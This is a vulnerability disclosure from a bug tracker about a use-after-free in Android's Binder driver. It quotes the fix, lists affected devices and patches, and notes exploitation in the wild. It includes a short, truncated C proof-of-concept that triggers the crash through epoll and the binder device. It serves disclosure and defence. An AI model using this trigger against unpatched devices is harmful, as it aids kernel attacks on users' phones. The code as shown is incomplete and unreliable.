1942 – Android: Use-After-Free in Binder driver – project-zero – Monorail

Source: 1942 – Android: Use-After-Free in Binder driver – project-zero – Monorail

As described in the upstream commit:
“binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.”

The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/20171213000517.GB62138@gmail.com/):
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };

fd = open(“/dev/binder0”, O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);

This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review.

Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated):
1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/)
2) Huawei P20
3) Xiaomi Redmi 5A
4) Xiaomi Redmi Note 5
5) Xiaomi A1
6) Oppo A3
7) Moto Z3
8) Oreo LG phones (run same kernel according to website)
9) Samsung S7, S8, S9

*We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.*

[1] https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b
[2] https://android-review.googlesource.com/c/kernel/common/+/609966
[3] https://android-review.googlesource.com/c/kernel/common/+/573742/
[4] https://android-review.googlesource.com/c/kernel/common/+/609868/


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